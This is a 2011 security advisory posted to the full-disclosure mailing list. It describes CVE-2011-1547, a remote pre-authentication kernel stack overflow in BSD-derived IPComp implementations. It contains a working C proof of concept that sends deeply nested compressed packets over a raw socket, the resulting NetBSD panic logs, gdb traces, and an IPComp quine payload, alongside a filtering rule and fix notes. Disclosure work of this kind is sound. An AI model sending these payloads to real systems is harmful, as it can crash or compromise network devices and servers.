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Message-ID: <20110401080043.GA28742@cmpxchg8b.com>
Date: Fri, 1 Apr 2011 10:00:43 +0200
From: Tavis Ormandy <taviso@...xchg8b.com>
To: full-disclosure@...ts.grok.org.uk
Cc: bugtraq@...urityfocus.com
Subject: BSD derived RFC3173 IPComp encapsulation will expand arbitrarily
nested payload
BSD derived RFC3173 IPComp encapsulation will expand arbitrarily nested payload
-------------------------------------------------------------------------------
Gruezi, this document describes CVE-2011-1547.
RFC3173 ip payload compression, henceforth ipcomp, is a protocol intended to
provide compression of ip datagrams, and is commonly used alongside IPSec
(although there is no requirement to do so).
An ipcomp datagram consists of an ip header with ip->ip_p set to 108, followed
by a 32 bit ipcomp header, described in C syntax below.
struct ipcomp {
uint8_t comp_nxt; // Next Header
uint8_t comp_flags; // Reserved
uint16_t comp_cpi; // Compression Parameter Index
};
The Compression Parameter Index indicates which compression algorithm was used
to compress the ipcomp payload, which is expanded and then routed as requested.
Although the CPI field is 16 bits wide, in reality only 1 algorithm is widely
implemented, RFC1951 DEFLATE (cpi=2).
It's well documented that ipcomp can be used to traverse perimeter filtering,
however this document discusses potential implementation flaws observed in
popular stacks.
The IPComp implementation originating from NetBSD/KAME implements injection of
unpacked payloads like so:
algo = ipcomp_algorithm_lookup(cpi);
/* ... */
error = (*algo->decompress)(m, m->m_next, &newlen);
/* ... */
if (nxt != IPPROTO_DONE) {
if ((inetsw[ip_protox[nxt]].pr_flags & PR_LASTHDR) != 0 &&
ipsec4_in_reject(m, NULL)) {
IPSEC_STATINC(IPSEC_STAT_IN_POLVIO);
goto fail;
}
(*inetsw[ip_protox[nxt]].pr_input)(m, off, nxt);
} else
m_freem(m);
/* ... */
Where inetsw[] contains definitions for supported protocols, and nxt is a
protocol number, usually associated with ip->ip_p (see
http://www.iana.org/assignments/protocol-numbers/protocol-numbers.xml), but in
this case from ipcomp->comp_nxt. m is the mbuf structure adjusted to point to
the unpacked payload.
The unpacked packet is dispatched to the appropriate protocol handler
directly from the ipcomp protocol handler. This recursive implementation fails
to check for stack overflow, and is therefore vulnerable to a remote
pre-authentication kernel memory corruption vulnerability.
The NetBSD/KAME network stack is used as basis for various other
operating systems, such as Xnu, FTOS, various embedded devices and
network appliances, and earlier versions of FreeBSD/OpenBSD (the code
has since been refactored, but see the NOTES section regarding IPComp
quines, which still permit remote, pre-authentication, single-packet,
spoofed-source DoS in the latest versions).
The Xnu port of this code is close to the original, where the decompressed
payload is recursively injected back into the toplevel ip dispatcher. The
implementation is otherwise similar, and some alterations to the testcase
provided for NetBSD should make it work. This is left as an exercise for the
interested reader.
--------------------
Affected Software
------------------------
Any NetBSD derived IPComp/IPSec stack may be vulnerable (Xnu, FTOS, etc.).
NetBSD is not distributed with IPSec support enabled by default, however Apple
OSX and various other derivatives are. There are so many NetBSD derived network
stacks that it is infeasible to check them all, concerned administrators are
advised to check with their vendor if there is any doubt.
Major vendors known to use network stacks derived from NetBSD were pre-notified
about this vulnerability. If I missed you, it is either not well known that you
use the BSD stack, you did not respond to security@ mail, or could not use pgp
properly.
Additionally, administrators of critical or major deployments of NetBSD (e.g.
dns root servers) were given advance notice in order to deploy appropriate
filter rules.
Exploitability of kernel stack overflows will vary by platform (n.b. a stack
overflow is not a stack buffer overflow, for a concise definition see
TAOCP3,V1,S2.2.2). Also note that a kernel stack overflow is very different
from a userland stack overflow.
For further discussion, including attacks on other operating systems,
see the notes section on ipcomp quines below.
--------------------
Consequences
-----------------------
While exploitation of kernel stack overflows is a somewhat under researched
topic, the author feels a skilled attacker would be able to leverage this for
remote code execution. However, this is not a trivial task, and is highly
platform dependent.
I have verified kernel stack overflows on NetBSD are exploitable, I have looked
at the source code for xnu and do not see any obvious obstacles to prevent
exploitation (kernel stack segment limits, guard pages, etc. which would cause
the worst impact to be limited to remote denial of service), so have no reason
to believe it is different.
Thoughts on this topic from fellow researchers would be welcome.
Source code for a sample Linux program to reproduce this flaw on NetBSD is
listed below. Please note, check if your system requires an IPv4 header in the
compressed payload before attempting to adapt it to your needs.
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <zlib.h>
#include <alloca.h>
#include <stdbool.h>
#include <stdlib.h>
#include <string.h>
//
// BSD IPComp Kernel Stack Overflow Testcase
// -- Tavis Ormandy <taviso@...xchg8b.com>, March 2011
//
#define MAX_PACKET_SIZE (1024 * 1024 * 32)
#define MAX_ENCAP_DEPTH 1024
enum {
IPCOMP_OUI = 1,
IPCOMP_DEFLATE = 2,
IPCOMP_LZS = 3,
IPCOMP_MAX,
};
struct ipcomp {
uint8_t comp_nxt; // Next Header
uint8_t comp_flags; // Reserved, must be zero
uint16_t comp_cpi; // Compression parameter index
uint8_t comp_data[0]; // Payload.
};
bool ipcomp_encapsulate_data(void *data,
size_t size,
int nxt,
struct ipcomp **out,
size_t *length,
int level)
{
struct ipcomp *ipcomp;
z_stream zstream;
ipcomp = malloc(MAX_PACKET_SIZE);
*out = ipcomp;
ipcomp->comp_nxt = nxt;
ipcomp->comp_cpi = htons(IPCOMP_DEFLATE);
ipcomp->comp_flags = 0;
// Compress packet payload.
zstream.zalloc = Z_NULL;
zstream.zfree = Z_NULL;
zstream.opaque = Z_NULL;
if (deflateInit2(&zstream,
level,
Z_DEFLATED,
-12,
MAX_MEM_LEVEL,
Z_DEFAULT_STRATEGY) != Z_OK) {
fprintf(stderr, "error: failed to initialize zlib library\n");
return false;
}
zstream.avail_in = size;
zstream.next_in = data;
zstream.avail_out = MAX_PACKET_SIZE - sizeof(struct ipcomp);
zstream.next_out = ipcomp->comp_data;
if (deflate(&zstream, Z_FINISH) != Z_STREAM_END) {
fprintf(stderr, "error: deflate() failed to create compressed payload, %s\n", zstream.msg);
return false;
}
if (deflateEnd(&zstream) != Z_OK) {
fprintf(stderr, "error: deflateEnd() returned failure, %s\n", zstream.msg);
return false;
}
// Calculate size.
*length = (MAX_PACKET_SIZE - sizeof(struct ipcomp)) - zstream.avail_out;
ipcomp = realloc(ipcomp, *length);
free(data);
return true;
}
int main(int argc, char **argv)
{
int s;
struct sockaddr_in sin = {0};
struct ipcomp *ipcomp = malloc(0);
size_t length = 0;
unsigned depth = 0;
// Nest an ipcomp packet deeply without compression, this allows us to
// create maximum redundancy.
for (depth = 0; depth < MAX_ENCAP_DEPTH; depth++) {
if (ipcomp_encapsulate_data(ipcomp,
length,
IPPROTO_COMP,
&ipcomp,
&length,
Z_NO_COMPRESSION) != true) {
fprintf(stderr, "error: failed to encapsulate data\n");
return 1;
}
}
// Create a final outer packet with best compression, which should now
// compress well due to Z_NO_COMPRESSION used in inner payloads.
if (ipcomp_encapsulate_data(ipcomp,
length,
IPPROTO_COMP,
&ipcomp,
&length,
Z_BEST_COMPRESSION) != true) {
fprintf(stderr, "error: failed to encapsulate data\n");
return 1;
}
fprintf(stdout, "info: created %u nested ipcomp payload, %u bytes\n", depth, length);
sin.sin_family = AF_INET;
sin.sin_port = htons(0);
sin.sin_addr.s_addr = inet_addr(argv[1]);
if ((s = socket(PF_INET, SOCK_RAW, IPPROTO_COMP)) < 0) {
fprintf(stderr, "error: failed to create socket, %m\n");
return 1;
}
if (sendto(s,
ipcomp,
length,
MSG_NOSIGNAL,
(const struct sockaddr *)(&sin),
sizeof(sin)) != length) {
fprintf(stderr, "error: send() returned failure, %m\n");
return 1;
}
fprintf(stdout, "info: success, packet sent to %s\n", argv[1]);
free(ipcomp);
return 0;
}
Packets of the following form are generated.
Internet Protocol, Src: 192.168.1.1, Dst: 192.168.1.2
Version: 4
Header length: 20 bytes
Differentiated Services Field: 0x04 (DSCP 0x01: Unknown DSCP; ECN: 0x00)
0000 01.. = Differentiated Services Codepoint: Unknown (0x01)
.... ..0. = ECN-Capable Transport (ECT): 0
.... ...0 = ECN-CE: 0
Total Length: 205
Identification: 0xc733 (50995)
Flags: 0x00
0.. = Reserved bit: Not Set
.0. = Don't fragment: Not Set
..0 = More fragments: Not Set
Fragment offset: 0
Time to live: 64
Protocol: IPComp (0x6c)
Header checksum: 0x2e69 [correct]
[Good: True]
[Bad : False]
Source: 192.168.1.1
Destination: 192.168.1.2
IP Payload Compression
Next Header: IPComp (0x6c)
IPComp Flags: 0x00
IPComp CPI: DEFLATE (0x0002)
Data (181 bytes)
Data: 73656158...
[Length: 181]
$ gcc ipcomp.c -lz -o ipcomp
$ sudo ./ipcomp 192.168.1.2
info: created 1024 nested ipcomp payload, 2538 bytes
info: success, packet sent to 192.168.1.2
Mar 25 05:34:40 /netbsd: uvm_fault(0xca7bc774, 0x1000, 1) -> 0xe
Mar 25 05:34:40 /netbsd: fatal page fault in supervisor mode
Mar 25 05:34:40 /netbsd: trap type 6 code 0 eip c0633269 cs 8 eflags 10202 cr2 1335 ilevel 0
Mar 25 05:34:40 /netbsd: panic: trap
Mar 25 05:34:40 /netbsd: Begin traceback...
Mar 25 05:34:40 /netbsd: uvm_fault(0xca7bc774, 0, 1) -> 0xe
Mar 25 05:34:40 /netbsd: fatal page fault in supervisor mode
Mar 25 05:34:40 /netbsd: trap type 6 code 0 eip c06e6c90 cs 8 eflags 10246 cr2 8 ilevel 0
Mar 25 05:34:40 /netbsd: panic: trap
Mar 25 05:34:40 /netbsd: Faulted in mid-traceback; aborting...
Adjust depth as required.
(gdb) bt
#0 ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:112
#1 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
#2 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
#3 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
#4 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
#5 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
#6 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
[ trimmed ]
#148 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
#149 0xc01ec302 in ipcomp4_input (m=0xc14e1300) at ../../../../netinet6/ipcomp_input.c:248
#150 0xc0162bbb in ip_input (m=0xc14e1300) at ../../../../netinet/ip_input.c:1059
#151 0xc0161b82 in ipintr () at ../../../../netinet/ip_input.c:476
#152 0xc05d6248 in softint_execute (si=0xca79e154, l=0xca7a7a00, s=4) at ../../../../kern/kern_softint.c:539
#153 0xc05d60e6 in softint_dispatch (pinned=0xca7a7500, s=4) at ../../../../kern/kern_softint.c:811
(gdb) info frame
Stack level 0, frame at 0xcab9bf08:
eip = 0xc01ebd5c in ipcomp4_input (../../../../netinet6/ipcomp_input.c:112); saved eip 0xc01ec302
called by frame at 0xcab9bfa8
source language c.
Arglist at 0xcab9bf00, args: m=0xc14e1300
Locals at 0xcab9bf00, Previous frame's sp is 0xcab9bf08
Saved registers:
ebx at 0xcab9bef8, ebp at 0xcab9bf00, esi at 0xcab9befc, eip at 0xcab9bf04
(gdb) info target
Symbols from "netbsd.gdb".
Remote serial target in gdb-specific protocol:
Debugging a target over a serial line.
Therefore, an oob sp will write attacker controlled data.
(gdb) tb panic
Temporary breakpoint 2, panic (fmt=0xc0acf54b "trap") at ../../../../kern/subr_prf.c:184
184 kpreempt_disable();
(gdb) bt
#0 panic (fmt=0xc0acf54b "trap") at ../../../../kern/subr_prf.c:184
#1 0xc06f0919 in trap (frame=0xcac49f84) at ../../../../arch/i386/i386/trap.c:368
#2 0xc06f0566 in trap_tss (tss=0xc0cfe5ec, trapno=13, code=0) at ../../../../arch/i386/i386/trap.c:197
#3 0xc010cb1b in ?? ()
(gdb) frame 1
(gdb) info symbol frame->tf_eip
etc.
-------------------
Mitigation
-----------------------
*******************************************************************************
* Please note, this document is intended for security professionals, network *
* or systems administrators, and vendors of network equipment and software. *
* End users need not be concerned. *
*******************************************************************************
For numerous reasons, it is a good idea to filter IPComp at the perimeter if it is
not expected. Even when implemented correctly, IPComp completely defeats the
purpose of Delayed Compression in OpenSSH (see CAN-2005-2096 for an example of
why you always want delayed compression). Additionally, the encapsulation means
any attacks that require link-local access can simply be wrapped in ipcomp and
are then routable (that is not good).
Affected servers and devices can use packet filtering to prevent the vulnerable
code from being exercised. On systems with ipfw, a rule based on the following
ipfw/ipfw6 template can be used, adjust to whitelist expected peers as
appropriate.
# ipfw add deny proto ipcomp
On other BSD systems, pfctl rules can be substituted. See vendor documentation for
how to configure network appliances to deny IPComp at network boundaries.
-------------------
Solution
-----------------------
I would recommend vendors disallow nested encapulation of ipcomp payloads. The
implementation of this fix will of course vary by product.
By the time you read this advisory, a fix should have been committed to the
NetBSD repository, downstream consumers of NetBSD code are advised to import
the changes urgently.
A draft patch from S.P.Zeidler of the NetBSD project is attached for reference.
-------------------
Credit
-----------------------
This bug was discovered by Tavis Ormandy.
-------------------
Greetz
-----------------------
Greetz to Hawkes, Julien, LiquidK, Lcamtuf, Neel, Spoonm, Felix, Robert,
Asirap, Meder, Spender, Pipacs, Gynvael, Scarybeasts, Redpig, Kees, Eugene,
Bruce D., djm, Brian C., djrbliss, jono, and all my other elite friends and
colleagues.
And of course, $1$kk1q85Xp$Id.gAcJOg7uelf36VQwJQ/.
Additional thanks to Jan, Felix and Meder for their mad xnu skillz.
Jan helps organize a security conference called #days held in Lucerne,
Switzerland (a very picturesque Swiss city). The CFP is currently open, you
should check it out at https://www.hashdays.ch/.
-------------------
Notes
-----------------------
An elegant method of reproducing this flaw would be using self-reproducing
Lempel-Ziv programs, rsc describes the technique here:
http://research.swtch.com/2010/03/zip-files-all-way-down.html
This method would also be able to disrupt non-recursive implementations that
do not prevent nested encapulation, such as modern FreeBSD and OpenBSD.
Perhaps this will also affect other non-BSD implementations. An ipcomp
quine is defined below in GNU C syntax below, and a testcase for Linux
is attached to this mail.
struct {
uint8_t comp_nxt; // Next Header
uint8_t comp_flags; // Reserved, must be zero
uint16_t comp_cpi; // Compression parameter index
uint8_t comp_data[180]; // Payload
} ipcomp = {
.comp_nxt = IPPROTO_COMP,
.comp_flags = 0,
.comp_cpi = htons(IPCOMP_DEFLATE),
.comp_data = {
0xca, 0x61, 0x60, 0x60, 0x02, 0x00, 0x0a, 0x00, 0xf5, 0xff,
0xca, 0x61, 0x60, 0x60, 0x02, 0x00, 0x0a, 0x00, 0xf5, 0xff,
0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
0x00, 0x05, 0x00, 0xfa, 0xff, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x02, 0xb3, 0xc0, 0x2c, 0x00, 0x00, 0x05, 0x00, 0xfa, 0xff,
0x00, 0x05, 0x00, 0xfa, 0xff, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x14, 0x00, 0xeb, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x0f, 0x00, 0xf0, 0xff,
0x42, 0x88, 0x21, 0xc4, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x0f, 0x00, 0xf0, 0xff,
0x82, 0x72, 0x61, 0x5c, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff,
0x01, 0x00, 0x00, 0xff, 0xff, 0x82, 0x72, 0x61, 0x5c, 0x00,
0x00, 0x00, 0x00, 0xff, 0xff, 0x01, 0x00, 0x00, 0xff, 0xff
}
};
Note that modern FreeBSD and OpenBSD appear to drop incoming ipcomp packets if
no TBD entries are known (see netstat -s -p ipcomp statistics, and
the setkey documentation). You will have to allow for this while
testing. Depending on implementation, You may also need to spoof the
source address of a peer, see man 7 raw.
Special thanks to rsc and Matthew Dempsky for hints and assistance.
Something like this may be useful for testing:
# setkey -c
add 192.168.0.1 192.168.0.2 ipcomp 0002 -C deflate
^D
-
I would advise caution when sending malformed or pathological packets
across critical infrastructure or the public internet, many embedded devices
are based on BSD-derived code and may not handle the error gracefully.
-
Julien will be angry I didn't use scapy, sorry! I am a fan :-)
-
A bug in Xnu's custom allocator for zlib (deflate_alloc) causes zlib
initialisation to fail if ~1k bytes is not available to MALLOC() with M_NOWAIT,
even though M_WAITOK was intended, as described in the comments:
/*
* Avert your gaze, ugly hack follows!
* We init here so our malloc can allocate using M_WAIT.
* We don't want to allocate if ipcomp isn't used, and we
* don't want to allocate on the input or output path.
* Allocation fails if we use M_NOWAIT because init allocates
* something like 256k (ouch).
*/
However with some creativity it is possible to make the allocation succeed. You
can observe this bug by sending an ipcomp packet and looking for the memory
allocation failure in the network statistics (try something like `netstat -s |
grep -A16 ipsec:`). You can also set `sysctl -w net.inet.ipsec.debug=1`.
-------------------
References
-----------------------
- http://research.swtch.com/2010/03/zip-files-all-way-down.html
research!rsc: Zip Files All The Way Down
- http://tools.ietf.org/html/rfc3173
RFC3173: IP Payload Compression Protocol (IPComp)
- http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/netinet6/ipcomp_input.c?rev=1.36&content-type=text/x-cvsweb-markup&only_with_tag=MAIN
NetBSD: ipcomp_input.c, v1.36
- http://www.opensource.apple.com/source/xnu/xnu-1456.1.26/bsd/netinet6/ipcomp_input.c
Xnu: ipcomp_input.c
- http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/man8/ipfw.8.html
ipfw -- IP firewall and traffic shaper control program
- http://www.netbsd.org/docs/network/pf.html
The NetBSD Packet Filter (generally applies to other popular BSDs).
- http://fxr.watson.org/fxr/source/netinet6/ipcomp_input.c?v=FREEBSD64#L222
Earlier versions of FreeBSD were implemented recursively, the code was since refactored.
- http://fxr.watson.org/fxr/source/netipsec/xform_ipcomp.c?v=FREEBSD81#L299
The current version is implemented iteratively (see NOTES section on Quine DoS).
- http://www.force10networks.com/products/ftos.asp
FTOS - Force10 Operating System
- http://www.qnx.com/developers/docs/6.4.1/io-pkt_en/user_guide/drivers.html
QNX Network Drivers Documentation
Support high-quality journalism in information security by subscribing to LWN
http://lwn.net/ (i have no connection to lwn other than appreciating their
work).
I have a twitter account where I occasionally comment on security topics.
http://twitter.com/taviso
ex$$
--
-------------------------------------
taviso@...xchg8b.com | pgp encrypted mail preferred
-------------------------------------------------------
View attachment "ipcomp.c" of type "text/plain" (4481 bytes)
View attachment "quine.c" of type "text/plain" (3242 bytes)
View attachment "fastipsec_ipcomp.diff" of type "text/plain" (899 bytes)
View attachment "ipsec_ipcomp.diff" of type "text/plain" (816 bytes)
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